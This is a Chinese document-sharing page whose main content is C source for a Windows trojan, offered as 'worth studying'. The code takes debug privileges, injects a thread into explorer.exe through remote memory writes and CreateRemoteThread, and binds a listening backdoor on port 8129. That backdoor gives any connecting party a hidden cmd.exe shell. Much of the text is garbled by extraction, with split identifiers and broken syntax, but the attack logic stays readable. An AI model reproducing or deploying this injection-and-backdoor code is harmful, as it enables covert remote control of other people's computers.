C语言木马源码_第1页
C语言木马源码_第2页
C语言木马源码_第3页
已阅读5页,还剩3页未读 继续免费阅读

下载本文档

版权说明:本文档由用户提供并上传,收益归属内容提供方,若内容存在侵权,请进行举报或认领

文档简介

1、C语言木马源码 很值得研究#include <winsock2.h>#pragma comment lib , "ws2_32.lib" )#include <windows.h>#i nclude <Shlwapi.h>#pragma comment lib , "Shlwapi.lib" )#include <tlhelp32.h> |#i nclude <stdio.h>#in clude <stri ng.h>/参数结构;typedef struct RemoteParaDW

2、ORDvLoadLibrary;DWORDvFreeLibrary;DWORDvGetProcAddress;DWORDvGetModuleHa ndle;DWORDvWSAStartup;DWORDvSocket;DWORDvhto ns;DWORDvbi nd;DWORDvliste n;DWORDvaccept;DWORDvse nd;DWORDvrecv;DWORDvclosesocket;DWORDvCreateProcessA;DWORDvPeekNamedPipe;DWORDvWriteFile;DWORDvReadFile;DWORDvCloseHa ndle;DWORDvCr

3、eatePipe;DWORDvTermi nateProcess;DWORDwMessageBox;char strMessageBox12;char wi nsockDll16;char cmd10;char Buff4096;char teln etmsg60; RemotePara/提升应用级调试权限BOOEnablePrivilege(HANDLEToken, LPCTSTRizPrivName, BOOLEnable);/根据进程名称得到进程IDDWORDetPidByName(char *szName);/远程线程执行体DWORD stdcall ThreadProc( Remot

4、ePara* Para)WSADATWSAData;WORDVersio n;SOCKElTste nSocket;SOCKETlie ntSocket;struct sockaddr_in server_addr;structsockaddr_in client_addr;int iAddrSize = sizeof (client_addr);SECURITY_ATTRIBUTES;HANDLEReadPipel;HANDLEWritePipel;HANDLEReadPipe2;HANDLEWritePipe2;STARTUPINFO;PROCESS_INFORMATRON:essl nf

5、ormatio n;unsigned long lBytesRead = 0;typedef HINSTANCE_stdcall * PLoadLibrary )( char*);typedef FARPROC_stdcall * PGetProcAddress)( HMODULELPCSTR typedef HINSTANCE _stdcall * PFreeLibrary )( HINSTANCE typedef HINSTANCE _stdcall * PGetModuleHandle)( HMODU);EFARPROCMessageBoxA;FARPROPWSAStartup; FAR

6、PROPSocket;FARPROChto ns;FARPROCbi nd;FARPROCiste n; FARPROCaccept; FARPROPSe nd; FARPROPrecv;FARPROPCIosesocket; FARPROPCreateProcessA; FARPROPPeekNamedPipe; FARPROPWriteFile; FARPROPReadFile;FARPROPCloseHa ndle; FARPROPCreatePipe; FARPROPTermi nateProcess;PLoadLibraryLoadLibraryFu nc =(PLoadLibrar

7、y ) Para->dwLoadLibrary;PGetProcAddress GetProcAddressFunc = ( PGetProcAddress) Para->dwGetProcAddress;PFreeLibraryFreeLibraryFu nc =(PFreeLibrary ) Para->dwFreeLibrary;PGetModuleHandle GetModuleHandleFunc = ( PGetModuleHandle) Para->dwGetModuleHandle;LoadLibraryFunc( Para->winsockDll

8、);PWSAStartup=(FARPRO&ara->dwWSAStartupPSocket =(FARPRO&ara->dwSocket;Phtons =(FARPRC)(Para->dwhto ns;Pbi nd=(FARPRO&ara->dwbi nd;Pliste n =(FARPRC)G?ara->dwliste n;Paccept =(FARPRC)G?ara->dwaccept;Psend =(FARPRC)G?ara->dwse nd;Precv =(FARPRO&ara->dwrecv;Pclos

9、esocket = (FARPRC)(Para ->dwclosesocket;PCreateProcessA = ( FARPRC)C?ara->dwCreateProcessA; PPeekNamedPipe = (FARPRC)(Para->dwPeekNamedPipe; PWriteFile = (FARPRC)(Para->dwWriteFile;PReadFile = (FARPRC)G?ara->dwReadFile;PCloseHa ndle = ( FARPRC)(Para->dwCloseHa ndle;PCreatePipe = (F

10、ARPRC)G?ara->dwCreatePipe;PTermi nateProcess = (FARPRC)(Para->dwTermi nateProcess;PMessageBoxA = ( FARPRC)(Para->dwMessageBox;nVersio n = MAKEWORD);PWSAStartup( nV ersio n,(LPWSADAT&WSAData);liste nSocket = PSocket(AF_INET SOCK_STREAM;if (listenSocket = INVALID SOCKETeturn 0;server addr

11、.si n family =AF INETserver_addr.sin_port= Phtons(unsigned short )(8129);server_addr.sin_addr. s_addr = INADDR_ANYif (Pbind(listenSocket, ( struct sockaddr *)&server_addr,sizeof (SOCKADDR_)N=0) return 0;if (Plisten(listenSocket, 5)return 0;clie ntSocket = Paccept(liste nSocket, (struct sockaddr

12、*)&clie nt_addr, &iAddrSize);/ Pse nd(clie ntSocket, Para->tel netmsg, 60, 0);if (!PCreatePipe(&hReadPipe1,&hWritePipe1,&sa,0)return 0;if (!PCreatePipe(&hReadPipe2,&hWritePipe2,&sa,0)return 0;ZeroMemoiy&si, sizeof (si);/ZeroMemory 是C运行库函数,可以直接调用si.dwFlags = STA

13、RTF_USESHOWWINDOARTF_USESTDHANDLESsi.wShowWi ndow = SW HIDEsi.hStdl nput = hReadPipe2;si.hStdOutput = si.hStdError = hWritePipel;if (!PCreateProcessA( NULL Para->cmd, NULLNUL1T1,0, NULLNULL&si,&Processlnformation)return 0;while (1) memset(Para->Buff,0,4096);PPeekNamedPipe(hReadPipe1,Pa

14、ra->Buff,4096,&lBytesRead,0,0);if (lBytesRead) if (!PReadFile(hReadPipe1, Para->Buff, lBytesRead, &lBytesRead, 0) break;if (!Psend(clientSocket,Para->Buff, lBytesRead, 0) break;else lBytesRead=Precv(clie ntSocket, Para->Buff, 4096, 0);if (lBytesRead <=0 ) break;if (!PWriteFile

15、(hWritePipe2, Para->Buff, lBytesRead, &BytesRead, 0) break ;I |PCloseHa ndle(hWritePipe2);PCloseHa ndle(hReadPipel);PCloseHa ndle(hReadPipe2);PCloseHa ndle(hWritePipel);Pclosesocket(liste nSocket);Pclosesocket(clie ntSocket);/ PMessageBoxA(NULL, Para->strMessageBox, Para->strMessageBox,

16、 MB OK);return 0;int APIENTRYWinMain( HINSTANCEilnstanee ,HINSTANCEhPrevInstanee ,LPSTRIpCmdLi ne,intn CmdShoWcon st DWORTHREADSIZE=1024*4;DWORbyte_write;void *pRemoteThread;HANDLEToke n,hRemoteProcess,hThread;HINSTANCEKernel,hUser32,hSock;RemotePara myRemotePara,*pRemotePara;DWORpJD;Ope nProcessTok

17、e n( GetCurre ntProcess(),TOKEN_ADJUST_PRIVILEGESToke n);En ablePrivilege(hToke n,SE_DEBUG_NAMRUE/获得指定进程句柄,并设其权限为 PROCESS_ALL_ACCESSpID = GetPidByName( "EXPLORER.EXE"if (pID = 0) return 0;hRemoteProcess = OpenProcess( PROCESS_ALL_ACC,EFALSEplD);if (!hRemoteProcess) return 0;/在远程进程地址空间分配虚拟内

18、存pRemoteThread = VirtualAllocEx(hRemoteProcess, 0, THREADSIZE, MEM COMMIT MEM_RESERVAGE_EXECUTE_READV)RITEif (!pRemoteThread) return 0;/将线程执行体ThreadProc写入远程进程if (!WriteProcessMemory(hRemoteProcess, pRemoteThread, &ThreadProc,THREADSIZE,0)return 0;ZeroMemory;&myRemotePara,sizeof (RemotePara);

19、hKernel = LoadLibrary ( "kernel32.dll");myRemotePara.dwLoadLibrary =(DWORGetProcAddress(hKer nel,"LoadLibraryA");myRemotePara.dwFreeLibrary =(DWORGetProcAddress(hKer nel,"FreeLibrary");myRemotePara.dwGetProcAddress=(DWORDetProcAddress(hKernel,'GetProcAddress");

20、myRemotePara.dwGetModuleHa ndle = ( DWORGetProcAddress(hKer nel, "GetModuleHandleA");myRemotePara.dwCreateProcessA = ( DWORDetProcAddress(hKernel,"CreateProcessA");myRemotePara.dwPeekNamedPipe = ( DWORGetProcAddress(hKernel,"PeekNamedPipe");myRemotePara.dwWriteFile =(DW

21、ORGetProcAddress(hKer nel,"WriteFile");myRemotePara.dwReadFile =(DWORGetProcAddress(hKernel,"ReadFile");myRemotePara.dwCloseHa ndle=( DWORGetProcAddress(hKernel,"CloseHandle");myRemotePara.dwCreatePipe =(DWORGetProcAddress(hKernel,"CreatePipe");myRemotePara.dw

22、Termi nateProcess = ( DWORGetProcAddress(hKernel,"Term in ateProcess");hSock = LoadLibrary ("wsock32.dll");myRemotePara.dwWSAStartup = ( DWORGetProcAddress(hSock, "WSAStartup");myRemotePara.dwSocket = ( DWORDetProcAddress(hSock, "socket");myRemotePara.dwhtons

23、= ( DWORGetProcAddress(hSock, "htons");myRemotePara.dwbind = ( DWORDetProcAddress(hSock, "bind");myRemotePara.dwliste n = (DWORDetProcAddress(hSock, "liste n");myRemotePara.dwaccept = ( DWORDetProcAddress(hSock, "accept");myRemotePara.dwrecv = ( DWORDetProcAdd

24、ress(hSock, "recv");myRemotePara.dwsend = ( DWORDetProcAddress(hSock, "send");myRemotePara.dwclosesocket = ( DWORGetProcAddress(hSock, "closesocket");hUser32 = LoadLibrary ("user32.dll");myRemotePara.dwMessageBox = (DWORGetProcAddress(hUser32, "MessageBox

25、A");strcat(myRemotePara.strMessageBox, "Sucess!/0"); strcat(myRemotePara.wi nsockDll, "wsock32.dll/0"); strcat(myRemotePara.cmd, "cmd.exe/0"); strcat(myRemotePara.tel netmsg,"Conn ect Sucessful!/ n/0");/写进目标进程pRemotePara =( RemotePara*)VirtualAllocEx(hRem

26、oteProcess ,0, sizeof ( RemotePar®, MEM_COMMPAGE_READWR)TEif (!pRemotePara) return 0;if (!WriteProcessMemory (hRemoteProcess ,pRemotePara,&myRemotePara,sizeofmyRemotePara,0) return 0;/启动线程hThread = CreateRemoteThread(hRemoteProcess ,0,0,(DWORD_stdcall *)( void*)pRemoteThread ,pRemotePara, 0,&byte write);while (1) FreeLibrary(hKernel);FreeLibrary(hSock);FreeLibrary(hUser32);CloseHa ndle(hRemoteProcess);CloseHa ndle(hToke n);return 0;BOOEnablePrivilege(HANDLEi

温馨提示

  • 1. 本站所有资源如无特殊说明,都需要本地电脑安装OFFICE2007和PDF阅读器。图纸软件为CAD,CAXA,PROE,UG,SolidWorks等.压缩文件请下载最新的WinRAR软件解压。
  • 2. 本站的文档不包含任何第三方提供的附件图纸等,如果需要附件,请联系上传者。文件的所有权益归上传用户所有。
  • 3. 本站RAR压缩包中若带图纸,网页内容里面会有图纸预览,若没有图纸预览就没有图纸。
  • 4. 未经权益所有人同意不得将文件中的内容挪作商业或盈利用途。
  • 5. 人人文库网仅提供信息存储空间,仅对用户上传内容的表现方式做保护处理,对用户上传分享的文档内容本身不做任何修改或编辑,并不能对任何下载内容负责。
  • 6. 下载文件中如有侵权或不适当内容,请与我们联系,我们立即纠正。
  • 7. 本站不保证下载资源的准确性、安全性和完整性, 同时也不承担用户因使用这些下载资源对自己和他人造成任何形式的伤害或损失。

最新文档

评论

0/150

提交评论